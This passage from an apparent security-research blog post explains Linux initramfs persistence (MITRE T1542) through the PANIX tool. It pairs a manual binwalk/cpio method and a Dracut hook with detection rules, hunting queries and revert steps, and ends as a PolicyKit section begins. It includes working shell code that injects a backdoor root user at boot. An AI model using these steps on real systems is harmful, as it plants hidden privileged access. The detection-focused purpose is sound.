Modifications\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"In this section we will be \\u201Cmanually\\u201D manipulating initramfs to add a backdoor onto the system during the boot process. To do so, we will use the \",(0,i.jsx)(e.a,{href:\"https://github.com/Aegrah/PANIX/blob/7e27768807e12d11932e2fca5b6a4867308295dd/modules/setup_initramfs.sh\",rel:\"nofollow\",children:\"setup_initramfs.sh\"}),\" module from PANIX. Let\\u2019s analyze the most important aspects of the module to ensure we understand what is going on.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Upon execution of the module, the \",(0,i.jsx)(e.code,{children:\"initrd.img\"}),\" file is backed up, as implementing a technique like this may disrupt the boot process, and having a back up available is always recommended. Next, a temporary directory is created, and the initramfs image is copied there. Through \",(0,i.jsx)(e.code,{children:\"binwalk\"}),\", we can identify and map out the different embedded archives within the \",(0,i.jsx)(e.code,{children:\"initrd.img\"}),\" (such as the CPU microcode \",(0,i.jsx)(e.code,{children:\"cpio\"}),\" archive and the gzipped \",(0,i.jsx)(e.code,{children:\"cpio\"}),\" archive containing the mini Linux filesystem). The string \",(0,i.jsx)(e.code,{children:\"TRAILER!!!\"}),\" marks the end of a \",(0,i.jsx)(e.code,{children:\"cpio\"}),\" archive, letting us know exactly where one archive finishes so we can separate it from the next. In other words, \",(0,i.jsx)(e.code,{children:\"binwalk\"}),\" shows us where to split the file, and the \",(0,i.jsx)(e.code,{children:\"TRAILER!!!\"}),\" marker confirms the boundary of the microcode \",(0,i.jsx)(e.code,{children:\"cpio\"}),\" before we extract and rebuild the rest of the initramfs. For more detailed information, take a look at the original author\\u2019s \\u201C\",(0,i.jsx)(e.a,{href:\"https://breachlabs.io/initramfs-persistence-technique\",rel:\"nofollow\",children:(0,i.jsx)(e.em,{children:\"Initramfs Persistence Technique\"})}),\"\\u201D blog.\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`# Use binwalk to determine the trailer address.\nADDRESS=$(binwalk initrd.img | grep TRAILER | tail -1 | awk '{print $1}')\nif [[ -z \"$ADDRESS\" ]]; then\n\techo \"Error: Could not determine trailer address using binwalk.\"\n\texit 1\nfi\necho \"[*] Trailer address: $ADDRESS\"\n`})}),`\n`,(0,i.jsxs)(e.p,{children:[\"This section extracts and unpacks parts of the \",(0,i.jsx)(e.code,{children:\"initrd.img\"}),\" file for modification. The \",(0,i.jsx)(e.code,{children:\"dd\"}),\" command extracts the first \",(0,i.jsx)(e.code,{children:\"cpio\"}),\" archive (microcode) up to the byte offset marked by \",(0,i.jsx)(e.code,{children:\"TRAILER!!!\"}),\", saving it as \",(0,i.jsx)(e.code,{children:\"initrd.img-begin\"}),\" for later reassembly. Next, \",(0,i.jsx)(e.code,{children:\"unmkinitramfs\"}),\" unpacks the remaining filesystem from \",(0,i.jsx)(e.code,{children:\"initrd.img\"}),\" into a directory (\",(0,i.jsx)(e.code,{children:\"initrd_extracted\"}),\"), enabling modifications.\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`dd if=initrd.img of=initrd.img-begin count=$ADDRESS bs=1 2\u003e/dev/null || { echo \"Error: dd failed (begin)\"; exit 1; }\n\nunmkinitramfs initrd.img initrd_extracted || { echo \"Error: unmkinitramfs failed\"; exit 1; }\n`})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Once the filesystem is extracted, it can be modified to achieve persistence. This process focuses on manipulating the \",(0,i.jsx)(e.code,{children:\"init\"}),\" file, which is responsible for initializing the Linux system during boot. The code performs the following:\"]}),`\n`,(0,i.jsxs)(e.ol,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Mount the root filesystem as writable.\"}),`\n`,(0,i.jsxs)(e.li,{children:[\"Attempt to create a new user with sudo privileges in two steps:\",`\n`,(0,i.jsxs)(e.ol,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Check whether the supplied user exists already, if yes, abort.\"}),`\n`,(0,i.jsxs)(e.li,{children:[\"If the user does not exist, add the user to \",(0,i.jsx)(e.code,{children:\"/etc/shadow\"}),\", \",(0,i.jsx)(e.code,{children:\"/etc/passwd\"}),\" and \",(0,i.jsx)(e.code,{children:\"/etc/group\"}),\" manually.\"]}),`\n`]}),`\n`]}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"This payload can be altered to whatever payload is desired. As the environment in which we are working is very limited, we need to make sure to only use tools that are available.\"}),`\n`,(0,i.jsx)(e.p,{children:\"After adding the correct payload, initramfs can be repacked. The script uses:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.code,{children:\"find . | sort | cpio -R 0:0 -o -H newc | gzip \u003e ../../initrd.img-end\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"To repack the filesystem into \",(0,i.jsx)(e.code,{children:\"initrd.img-end\"}),\". It ensures all files are owned by \",(0,i.jsx)(e.code,{children:\"root:root\"}),\" (\",(0,i.jsx)(e.code,{children:\"-R 0:0\"}),\") and uses the \",(0,i.jsx)(e.code,{children:\"newc\"}),\" format compatible with initramfs.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"The previously extracted microcode archive (\",(0,i.jsx)(e.code,{children:\"initrd.img-begin\"}),\") is concatenated with the newly created archive (\",(0,i.jsx)(e.code,{children:\"initrd.img-end\"}),\") using \",(0,i.jsx)(e.code,{children:\"cat\"}),\" to produce a final \",(0,i.jsx)(e.code,{children:\"initrd.img-new\"}),\":\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.code,{children:\"cat initrd.img-begin initrd.img-end \u003e initrd.img-new\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"The new \",(0,i.jsx)(e.code,{children:\"initrd.img-new\"}),\" replaces the original initramfs file, ensuring the system uses the modified version on the next boot.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Now that we understand the process, we can run the module and let the events unfold. Note: not all Linux distributions specify the end of a \",(0,i.jsx)(e.code,{children:\"cpio\"}),\" archive with the \",(0,i.jsx)(e.code,{children:\"TRAILER!!!\"}),\" string, and therefore this automated technique will not work for all systems. Let\\u2019s continue!\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`\u003e sudo ./panix.sh --initramfs --binwalk --username panix --password panix --snapshot yes\n[*] Will inject user 'panix' with hashed password '\u003chash\u003e' into the initramfs.\n[*] Preparing Binwalk-based initramfs persistence...\n[*] Temporary directory: /tmp/initramfs.neg1v5\n[+] Backup created: /boot/initrd.img-5.15.0-130-generic.bak\n[*] Trailer address: 8057008\n[+] Binwalk-based initramfs persistence applied. New initramfs installed.\n[+] setup_initramfs module completed successfully.\n[!] Ensure you have a recent snapshot of your system before proceeding.\n`})}),`\n`,(0,i.jsx)(e.p,{children:\"Let\\u2019s take a look at the events that are generated in Kibana:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/the-grand-finale-on-linux-persistence/image6.png\",alt:\"PANIX Initramfs module execution visualized in Kibana - Binwalk method\",width:\"1533\",height:\"1421\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Looking at the execution logs, we can see that \",(0,i.jsx)(e.code,{children:\"openssl\"}),\" is used to generate a \",(0,i.jsx)(e.code,{children:\"passwd\"}),\" hash. Afterwards, the initramfs image is copied to a temporary directory, and \",(0,i.jsx)(e.code,{children:\"binwalk\"}),\" is leveraged to find the address of the filesystem. Once the correct section is found, \",(0,i.jsx)(e.code,{children:\"unmkinitramfs\"}),\" is called to extract the filesystem, after which the payload is added to the \",(0,i.jsx)(e.code,{children:\"init\"}),\" file. Next, the filesystem is repacked through \",(0,i.jsx)(e.code,{children:\"gzip\"}),\" and \",(0,i.jsx)(e.code,{children:\"cpio\"}),\", and combined into a fully working initramfs image with the microcode, filesystem and other sections. This image is then copied to the \",(0,i.jsx)(e.code,{children:\"/boot/\"}),\" directory, overwriting the currently active \",(0,i.jsx)(e.code,{children:\"initramfs\"}),\" image. Upon reboot, the new \",(0,i.jsx)(e.code,{children:\"panix\"}),\" user with root permissions is available.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"Let\\u2019s take a look at the coverage:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.em,{children:\"Detection and endpoint rules that cover manual initramfs persistence\"})}),`\n`,(0,i.jsx)(e.div,{className:\"table-container\",children:(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{align:\"left\",children:\"Category\"}),(0,i.jsx)(e.th,{align:\"left\",children:\"Coverage\"})]})}),(0,i.jsxs)(e.tbody,{children:[(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{align:\"left\",children:\"File\"}),(0,i.jsx)(e.td,{align:\"left\",children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/2bb46899aea8571172687927b8084695bec44a62/rules/integrations/fim/persistence_suspicious_file_modifications.toml\",rel:\"nofollow\",children:\"Potential Persistence via File Modification\"})})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{align:\"left\",children:\"Process\"}),(0,i.jsx)(e.td,{align:\"left\",children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/3e655abfef5e6b9c759cc82fa225be48a90bbc24/rules_building_block/discovery_potential_memory_seeking_activity.toml\",rel:\"nofollow\",children:\"Potential Memory Seeking Activity\"})})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{align:\"left\"}),(0,i.jsx)(e.td,{align:\"left\",children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/3e655abfef5e6b9c759cc82fa225be48a90bbc24/rules/linux/persistence_unpack_initramfs_via_unmkinitramfs.toml\",rel:\"nofollow\",children:\"Initramfs Unpacking via unmkinitramfs\"})})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{align:\"left\"}),(0,i.jsx)(e.td,{align:\"left\",children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/3e655abfef5e6b9c759cc82fa225be48a90bbc24/rules/linux/persistence_extract_initramfs_via_cpio.toml\",rel:\"nofollow\",children:\"Initramfs Extraction via CPIO\"})})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{align:\"left\"}),(0,i.jsx)(e.td,{align:\"left\",children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/2bb46899aea8571172687927b8084695bec44a62/rules/linux/persistence_boot_file_copy.toml\",rel:\"nofollow\",children:\"Boot File Copy\"})})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{align:\"left\"}),(0,i.jsx)(e.td,{align:\"left\",children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/3e655abfef5e6b9c759cc82fa225be48a90bbc24/rules/linux/persistence_openssl_passwd_hash_generation.toml\",rel:\"nofollow\",children:\"OpenSSL Password Hash Generation\"})})]})]})]})}),`\n`,(0,i.jsx)(e.p,{children:\"You can revert the changes made by PANIX by running the following revert command:\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`\u003e ./panix.sh --revert initramfs\n\n[!] Restoring initramfs from backup: $initrd_backup...\n[+] Initramfs restored successfully.\n[!] Rebuilding initramfs to remove modifications...\n[+] Initramfs rebuilt successfully.\n[!] Cleaning up temporary files...\n[+] Temporary files cleaned up.\n[+] Initramfs persistence reverted successfully.\n`})}),`\n`,(0,i.jsx)(e.h1,{id:\"hunting-for-t1542---initramfs-manual-modifications\",children:\"Hunting for T1542 - Initramfs: Manual Modifications\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious activity tied to the use of tools like \",(0,i.jsx)(e.code,{children:\"binwalk\"}),\". This technique typically involves extracting, analyzing, and modifying initramfs files to inject malicious components or scripts into the boot process. The approach includes monitoring for the following:\"]}),`\n`,(0,i.jsxs)(e.ol,{children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Execution of Binwalk with Suspicious Arguments\"}),\": Tracks processes where \",(0,i.jsx)(e.code,{children:\"binwalk\"}),\" is executed to extract or analyze files. This can reveal attempts to inspect or tamper with initramfs contents.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Creations and/or Modifications to Initramfs Files\"}),\": Tracks changes to the initramfs file (\",(0,i.jsx)(e.code,{children:\"/boot/initrd.img\"}),\").\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"General Kernel Manipulation Indicators\"}),\": Leverages queries such as monitoring \",(0,i.jsx)(e.code,{children:\"secureboot\"}),\", \",(0,i.jsx)(e.code,{children:\"kernel_info\"}),\", and file changes within \",(0,i.jsx)(e.code,{children:\"/boot/\"}),\" to detect broader signs of kernel and bootloader manipulation, which may overlap with initramfs abuse.\"]}),`\n`]}),`\n`,(0,i.jsxs)(e.p,{children:[\"By combining the \",(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/1851ab91fdb84ac2c1fc9bf9d0663badadd0d0a7/hunting/linux/queries/persistence_via_initramfs.toml\",rel:\"nofollow\",children:\"Persistence via Initramfs\"}),\" and \",(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/1851ab91fdb84ac2c1fc9bf9d0663badadd0d0a7/hunting/linux/queries/persistence_general_kernel_manipulation.toml\",rel:\"nofollow\",children:\"General Kernel Manipulation\"}),\" hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to \",(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1542/\",rel:\"nofollow\",children:\"T1542\"}),\".\"]}),`\n`,(0,i.jsx)(e.h1,{id:\"t1542---initramfs-modifying-with-dracut\",children:\"T1542 - Initramfs: Modifying with Dracut\"}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.a,{href:\"https://wiki.archlinux.org/title/Dracut\",rel:\"nofollow\",children:\"Dracut\"}),\" is a versatile tool for managing initramfs in most Linux systems. Unlike manual methods that require deconstructing and reconstructing initramfs, Dracut provides a structured, modular approach. It simplifies creating, modifying, and regenerating initramfs images while offering a robust framework to add custom functionality. It generates initramfs images by assembling a minimal Linux environment tailored to the system's needs. Its modular design ensures that only the necessary drivers, libraries, and scripts are included.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"Dracut operates through modules, which are self-contained directories containing scripts, configuration files, and dependencies. These modules define the behavior and content of the initramfs. For example, they might include drivers for specific hardware, tools for handling encrypted filesystems, or custom logic for pre-boot operations.\"}),`\n`,(0,i.jsx)(e.p,{children:\"Dracut modules are typically stored in:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"/usr/lib/dracut/modules.d/\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"/lib/dracut/modules.d/\"})}),`\n`]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Each module resides in a directory named in the format \",(0,i.jsx)(e.code,{children:\"XXname\"}),\", where \",(0,i.jsx)(e.code,{children:\"XX\"}),\" is a two-digit number defining the load order, and \",(0,i.jsx)(e.code,{children:\"name\"}),\" is the module name (e.g., \",(0,i.jsx)(e.code,{children:\"01base\"}),\", \",(0,i.jsx)(e.code,{children:\"95udev\"}),\").\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"The primary script that defines how the module integrates into the initramfs is called \",(0,i.jsx)(e.code,{children:\"module-setup.sh\"}),\". It specifies which files to include and what dependencies are required. Here is a basic example of a \",(0,i.jsx)(e.code,{children:\"module-setups.sh\"}),\" script:\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`#!/bin/bash\n\ncheck() {\n return 0 \n}\n\ndepends() {\n echo \"base\"\n}\n\ninstall() {\n inst_hook cmdline 30 \"$moddir/my_custom_script.sh\"\n inst_simple /path/to/needed/binary\n}\n`})}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.code,{children:\"check()\"}),\": Determines whether the module should be included. Returning 0 ensures the module is always included.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.code,{children:\"depends()\"}),\": Specifies other modules this one depends on (e.g., \",(0,i.jsx)(e.code,{children:\"base\"}),\", \",(0,i.jsx)(e.code,{children:\"udev\"}),\").\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.code,{children:\"install()\"}),\": Defines what files or scripts to include. Functions like \",(0,i.jsx)(e.code,{children:\"inst_hook\"}),\" and \",(0,i.jsx)(e.code,{children:\"inst_simple\"}),\" simplify the process.\"]}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"Using Dracut, attackers or administrators can easily modify initramfs to include custom scripts or functionality. For example, a malicious actor might:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Add a script that executes commands on boot.\"}),`\n`,(0,i.jsx)(e.li,{children:\"Alter existing modules to modify system behavior before the root filesystem is mounted.\"}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"In the next section, we\\u2019ll walk through creating a custom Dracut module to modify initramfs.\"}),`\n`,(0,i.jsx)(e.h1,{id:\"persistence-through-t1542---initramfs-modifying-with-dracut\",children:\"Persistence through T1542 - Initramfs: Modifying with Dracut\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"It is always a great idea to walk before we run. In the previous section we learnt how to manipulate initramfs manually, which can be difficult to set up. Now that we understand the basics, we can persist much easier by using a helper tool called Dracut, which is available by default on many Linux systems. Let\\u2019s take a look at the \",(0,i.jsx)(e.a,{href:\"https://github.com/Aegrah/PANIX/blob/7e27768807e12d11932e2fca5b6a4867308295dd/modules/setup_initramfs.sh\",rel:\"nofollow\",children:\"setup_initramfs.sh\"}),\" module again, but this time with a focus on the Dracut section.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"This PANIX module creates a new Dracut module directory at \",(0,i.jsx)(e.code,{children:\"/usr/lib/dracut/modules.d/99panix\"}),\", and creates a \",(0,i.jsx)(e.code,{children:\"module-setup.sh\"}),\" file with the following contents:\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`#!/bin/bash\ncheck() { return 0; }\ndepends() { return 0; }\ninstall() {\n\tinst_hook pre-pivot 99 \"$moddir/backdoor-user.sh\"\n}\n`})}),`\n`,(0,i.jsxs)(e.p,{children:[\"This script ensures that when the initramfs is built using Dracut, the custom script (\",(0,i.jsx)(e.code,{children:\"backdoor-user.sh\"}),\") is embedded and configured to execute at the pre-pivot stage during boot. By running at the pre-pivot stage, the script executes before control is handed over to the main OS, ensuring it can make modifications to the real root filesystem.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"After granting \",(0,i.jsx)(e.code,{children:\"module-setup.sh\"}),\" execution permissions, the module continues to create the \",(0,i.jsx)(e.code,{children:\"backdoor-user.sh\"}),\" file. To view the full content, inspect the module source code. The important parts are:\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`#!/bin/sh\n\n# Remount the real root if it's read-only\nmount -o remount,rw /sysroot 2\u003e/dev/null || {\n\techo \"[dracut] Could not remount /sysroot as RW. Exiting.\"\n\texit 1\n}\n[...]\n\nif check_user_exists \"\\${username}\" /sysroot/etc/shadow; then\n echo \"[dracut] User '\\${username}' already exists in /etc/shadow.\"\nelse\n echo \"\\${username}:\\${escaped_hash}:19000:0:99999:7:::\" \u003e\u003e /sysroot/etc/shadow\n echo \"[dracut] Added '\\${username}' to /etc/shadow.\"\nfi\n\n[...]\n`})}),`\n`,(0,i.jsxs)(e.p,{children:[\"First, the script ensures that the root filesystem (\",(0,i.jsx)(e.code,{children:\"/sysroot\"}),\") is writable. If this check completes, the script continues to add a new user by manually modifying the \",(0,i.jsx)(e.code,{children:\"/etc/shadow\"}),\", \",(0,i.jsx)(e.code,{children:\"/etc/passwd\"}),\" and \",(0,i.jsx)(e.code,{children:\"/etc/group\"}),\" files. The most important thing to notice is that these scripts rely on built-in shell utilities, as utilities such as \",(0,i.jsx)(e.code,{children:\"grep\"}),\" or \",(0,i.jsx)(e.code,{children:\"sed\"}),\" are not available in this environment. After writing the script, it is granted execution permissions and is good to go.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"Finally, Dracut is called to rebuild initramfs for the kernel version that is currently active:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.code,{children:\"dracut --force /boot/initrd.img-$(uname -r) $(uname -r)\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Once this step completes, the modified initramfs is active, and rebooting the machine will result in the \",(0,i.jsx)(e.code,{children:\"backdoor-user.sh\"}),\" script being executed.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"As always, first we take a snapshot, then we run the module:\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`\u003e sudo ./panix.sh --initramfs --dracut --username panix --password secret --snapshot yes\n[!] Will inject user 'panix' with hashed password \u003chash\u003e into the initramfs.\n[!] Preparing Dracut-based initramfs persistence...\n[+] Created dracut module setup script at /usr/lib/dracut/modules.d/99panix/module-setup.sh\n[+] Created dracut helper script at /usr/lib/dracut/modules.d/99panix/backdoor-user.sh\n[*] Rebuilding initramfs with dracut...\n[...]\ndracut: *** Including module: panix ***\n[...]\n[+] Dracut rebuild complete.\n[+] setup_initramfs module completed successfully.\n[!] Ensure you have a recent snapshot/backup of your system before proceeding.\n`})}),`\n`,(0,i.jsx)(e.p,{children:\"And take a look at the documents available in Discover:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/the-grand-finale-on-linux-persistence/image5.png\",alt:\"PANIX Initramfs module execution visualized in Kibana - Dracut method\",width:\"1539\",height:\"1032\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Upon execution, \",(0,i.jsx)(e.code,{children:\"openssl\"}),\" is used to create a password hash for the \",(0,i.jsx)(e.code,{children:\"secret\"}),\" password. Afterwards, the directory structure \",(0,i.jsx)(e.code,{children:\"/usr/lib/dracut/modules.d/99panix\"}),\" is created, and the \",(0,i.jsx)(e.code,{children:\"module-setup.sh\"}),\" and \",(0,i.jsx)(e.code,{children:\"backdoor-user.sh\"}),\" scripts are created and granted execution permissions. After regeneration of the initramfs completes, the backdoor has been planted, and will be active upon reboot.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"Let\\u2019s take a look at the coverage:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.em,{children:\"Detection and endpoint rules that cover dracut initramfs persistence\"})}),`\n`,(0,i.jsx)(e.div,{className:\"table-container\",children:(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{align:\"left\",children:\"Category\"}),(0,i.jsx)(e.th,{align:\"left\",children:\"Coverage\"})]})}),(0,i.jsxs)(e.tbody,{children:[(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{align:\"left\",children:\"File\"}),(0,i.jsx)(e.td,{align:\"left\",children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/cf183579b46dae3ebd294098b330341a98691fd0/rules/linux/persistence_dracut_module_creation.toml\",rel:\"nofollow\",children:\"Dracut Module Creation\"})})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{align:\"left\"}),(0,i.jsx)(e.td,{align:\"left\",children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/2bb46899aea8571172687927b8084695bec44a62/rules/integrations/fim/persistence_suspicious_file_modifications.toml\",rel:\"nofollow\",children:\"Potential Persistence via File Modification\"})})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{align:\"left\",children:\"Process\"}),(0,i.jsx)(e.td,{align:\"left\",children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/cf183579b46dae3ebd294098b330341a98691fd0/rules/linux/persistence_manual_dracut_execution.toml\",rel:\"nofollow\",children:\"Manual Dracut Execution\"})})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{align:\"left\"}),(0,i.jsx)(e.td,{align:\"left\",children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/3e655abfef5e6b9c759cc82fa225be48a90bbc24/rules/linux/persistence_openssl_passwd_hash_generation.toml\",rel:\"nofollow\",children:\"OpenSSL Password Hash Generation\"})})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{align:\"left\"}),(0,i.jsx)(e.td,{align:\"left\",children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/2bb46899aea8571172687927b8084695bec44a62/rules/linux/persistence_potential_persistence_script_executable_bit_set.toml\",rel:\"nofollow\",children:\"Executable Bit Set for Potential Persistence Script\"})})]})]})]})}),`\n`,(0,i.jsx)(e.p,{children:\"You can revert the changes made by PANIX by running the following revert command:\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`\u003e ./panix.sh --revert initramfs\n\n[-] No backup initramfs found at /boot/initrd.img-5.15.0-130-generic.bak. Skipping restore.\n[!] Removing custom dracut module directory: /usr/lib/dracut/modules.d/99panix...\n[+] Custom dracut module directory removed.\n[!] Rebuilding initramfs to remove modifications...\n[...]\n[+] Initramfs rebuilt successfully.\n[!] Cleaning up temporary files...\n[+] Temporary files cleaned up.\n[+] Initramfs persistence reverted successfully.\n`})}),`\n`,(0,i.jsx)(e.h1,{id:\"hunting-for-t1542---initramfs-modifying-with-dracut\",children:\"Hunting for T1542 - Initramfs: Modifying with Dracut\"}),`\n`,(0,i.jsx)(e.p,{children:\"We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious activity tied to the use of tools like Dracut. The approach includes monitoring for the following:\"}),`\n`,(0,i.jsxs)(e.ol,{children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Execution of Dracut with Suspicious Arguments\"}),\": Tracks processes where Dracut is executed to regenerate or modify initramfs files, especially with non-standard arguments. This can help identify unauthorized attempts to modify initramfs.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Creations and/or Modifications to Dracut Modules\"}),\": Monitors changes within \",(0,i.jsx)(e.code,{children:\"/lib/dracut/modules.d/\"}),\" and \",(0,i.jsx)(e.code,{children:\"/usr/lib/dracut/modules.d/\"}),\", which store custom and system-wide Dracut modules. Unauthorized modifications here may indicate attempts to persist malicious functionality.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"General Kernel Manipulation Indicators\"}),\": Utilizes queries like monitoring \",(0,i.jsx)(e.code,{children:\"secureboot\"}),\", \",(0,i.jsx)(e.code,{children:\"kernel_info\"}),\", and file changes within \",(0,i.jsx)(e.code,{children:\"/boot/\"}),\" to detect broader signs of kernel and bootloader manipulation that could be related to Initramfs abuse.\"]}),`\n`]}),`\n`,(0,i.jsxs)(e.p,{children:[\"By combining the \",(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/1851ab91fdb84ac2c1fc9bf9d0663badadd0d0a7/hunting/linux/queries/persistence_via_initramfs.toml\",rel:\"nofollow\",children:\"Persistence via Initramfs\"}),\" and \",(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/1851ab91fdb84ac2c1fc9bf9d0663badadd0d0a7/hunting/linux/queries/persistence_general_kernel_manipulation.toml\",rel:\"nofollow\",children:\"General Kernel Manipulation\"}),\" hunting rules and the tailored detection queries listed above, you can effectively identify and respond to \",(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1542/\",rel:\"nofollow\",children:\"T1542\"}),\".\"]}),`\n`,(0,i.jsx)(e.h1,{id:\"t1543---create-or-modify-system-process-policykit\",children:\"T1543 - Create or Modify System Process: PolicyKit\"}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.a,{href:\"https://linux.die.net/man/8/polkit\",rel:\"nofollow\",children:\"PolicyKit (or Polkit)\"}),\" is a system service that provides an authorization framework for managing privileged actions in Linux systems. It enables fine-grained control over system-wide privileges, allowing non-privileged processes to interact with privileged ones securely. Acting as an intermediary between system services and users, Polkit determines whether a user is authorized to perform specific actions. For instance, it governs whether a user can restart network services or install software without requiring full sudo permissions.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"Polkit authorization is governed by rules, actions, and authorization policies:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Actions\"}),\": Defined in XML files (\",(0,i.jsx)(e.code,{children:\".policy\"}),\"), these specify the operations Polkit can manage, such as \",(0,i.jsx)(e.a,{href:\"https://www.freedesktop.org/software/systemd/man/latest/org.freedesktop.systemd1.html\",rel:\"nofollow\",children:(0,i.jsx)(e.code,{children:\"org.freedesktop.systemd1.manage-units\"})}),\".\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Rules\"}),\": JavaScript-like files (\",(0,i.jsx)(e.code,{children:\".rules\"}),\") determine how authorization is granted for specific actions. They can check user groups, environment variables, or other conditions.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Authorization Policies\"}),\": \",(0,i.jsx)(e.code,{children:\".pkla\"}),\" files set default or per-user/group authorizations for actions, determining whether authentication is 